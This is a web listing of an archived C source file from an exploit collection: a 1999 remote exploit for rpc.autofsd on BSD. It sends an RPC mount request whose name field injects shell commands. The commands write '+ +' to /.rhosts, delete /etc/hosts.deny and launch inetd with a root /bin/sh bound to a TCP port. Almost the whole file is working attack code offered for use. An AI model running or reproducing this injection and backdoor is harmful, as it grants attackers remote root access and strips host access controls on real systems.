home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / rpc.autofsd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  132 lines

  1. // *** Synnergy Networks
  2.  
  3. // * Description:
  4. //
  5. // Remote exploit for rpc.autofsd on BSD. This will attempt to put a root shell
  6. // on tcp port 530.
  7.  
  8. // * Author:
  9. //
  10. // guidob (guidob@synnergy.net)
  11. // Synnergy Networks (c) 1999, http://www.synnergy.net
  12.  
  13. // * Greets:
  14. //
  15. // Synnergy Networks, LoU, Cindy
  16.  
  17. // * Comments:
  18. //
  19. // This will not work on all types and/or versions. 
  20.  
  21. // *** Synnergy Networks
  22.  
  23. #include <sys/types.h>
  24. #include <sys/time.h>
  25. #include <sys/socket.h>
  26. #include <netinet/in.h>
  27. #include <arpa/inet.h>
  28. #include <stdio.h>
  29. #include <unistd.h>
  30. #include <fcntl.h>
  31. #include <stdlib.h>
  32. #include <errno.h>
  33. #include <string.h>
  34. #include <netdb.h>
  35. #include <rpc/rpc.h>
  36. #include <rpc/xdr.h>
  37. #include <signal.h>
  38.  
  39. #define AUTOFS_PROG ((u_long)100099)
  40. #define AUTOFS_VERS ((u_long)1)
  41. #define AUTOFS_MOUNT ((u_long)1)
  42.  
  43. #define AT 8
  44. #define A_MAXNAME 255
  45. #define A_MAXOPTS 255
  46. #define A_MAXPATH 1024
  47.  
  48. struct mntrequest {
  49.         char *name;     /* name to be looked up */
  50.         char *map;      /* map to use     [2000]*/
  51.         char *opts;     /* default options[2000]*/
  52.         char *path;     /* mountpoint to use    */
  53. };
  54.  
  55. struct mntres {
  56.         int status;     /* 0=OK, otherwise an errno from <sys/errno.h> */
  57. };
  58.  
  59. bool_t xdr_mntrequest(XDR *xdrs,struct mntrequest *objp){
  60.   if (!xdr_string(xdrs, &objp->name, A_MAXNAME)) return (FALSE);
  61.   if (!xdr_string(xdrs, &objp->map, A_MAXNAME))  return (FALSE);
  62.   if (!xdr_string(xdrs, &objp->opts, A_MAXOPTS)) return (FALSE);
  63.   if (!xdr_string(xdrs, &objp->path, A_MAXPATH)) return (FALSE);
  64.   return (TRUE);
  65. }
  66. void signal_handler(void) {
  67.         exit(0);
  68. }
  69. bool_t xdr_mntres(XDR *xdrs,struct mntres *objp){
  70.   if (!xdr_int(xdrs, &objp->status)) return (FALSE);
  71.   return (TRUE);
  72. }
  73.  
  74. main(int argc, char **argv){
  75.  
  76.   CLIENT *cl;
  77.   struct mntrequest mntreq;
  78.   struct mntres *res;
  79.   struct sockaddr_in target;
  80.   struct hostent *hp;
  81.   struct timeval tm;
  82.   char *host;
  83.   enum clnt_stat stat;
  84.  
  85.  
  86. int sd;
  87.  
  88.  signal(SIGALRM, signal_handler);
  89.  
  90.   alarm(AT);
  91.   host=argv[1];
  92.  
  93.   if ((target.sin_addr.s_addr = inet_addr(host)) == -1) {
  94.     if ((hp = gethostbyname(host)) == NULL) {
  95.       printf("%s: cannot resolve\n", host);
  96.       exit(1);
  97.     } else
  98.       target.sin_addr.s_addr = *(u_long *)hp->h_addr;
  99.   }
  100.   target.sin_family=AF_INET;
  101.   target.sin_port=0;
  102.  
  103.   sd=RPC_ANYSOCK;
  104.   tm.tv_sec=8;
  105.  
  106.   tm.tv_usec=0;
  107.   if((cl=clntudp_create(&target,AUTOFS_PROG,AUTOFS_VERS,tm,&sd))==NULL) {
  108.     clnt_pcreateerror("clnt_create");
  109.     exit(0);
  110.   }
  111.   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  112.   tm.tv_sec = 25;
  113.  
  114. /* echo "courier stream tcp nowait root /bin/sh sh -i" > /tmp/bob;inetd /tmp/bob
  115. */
  116.   mntreq.name=";echo '+ +' > /.rhosts;rm -rf /etc/hosts.deny; echo \"courier stream tcp nowait root /bin/sh sh -i\" > /tmp/bob;inetd /tmp/bob";
  117.   mntreq.map="/bin/true";
  118.   mntreq.path="/hosts";
  119.   mntreq.opts="";
  120.   bzero((char *)&res, sizeof(res));
  121.  
  122.   if ((stat = clnt_call(cl, AUTOFS_MOUNT, (xdrproc_t)xdr_mntrequest,&mntreq,
  123.        (xdrproc_t)xdr_mntres, &res, tm)) != RPC_SUCCESS) {
  124.     clnt_perror(cl, "clnt_call");
  125.     exit(1);
  126.   }
  127.  
  128.   clnt_destroy(cl);
  129. }
  130.  
  131. // EOF
  132. /*                    www.hack.co.za           [21 July 2000]*/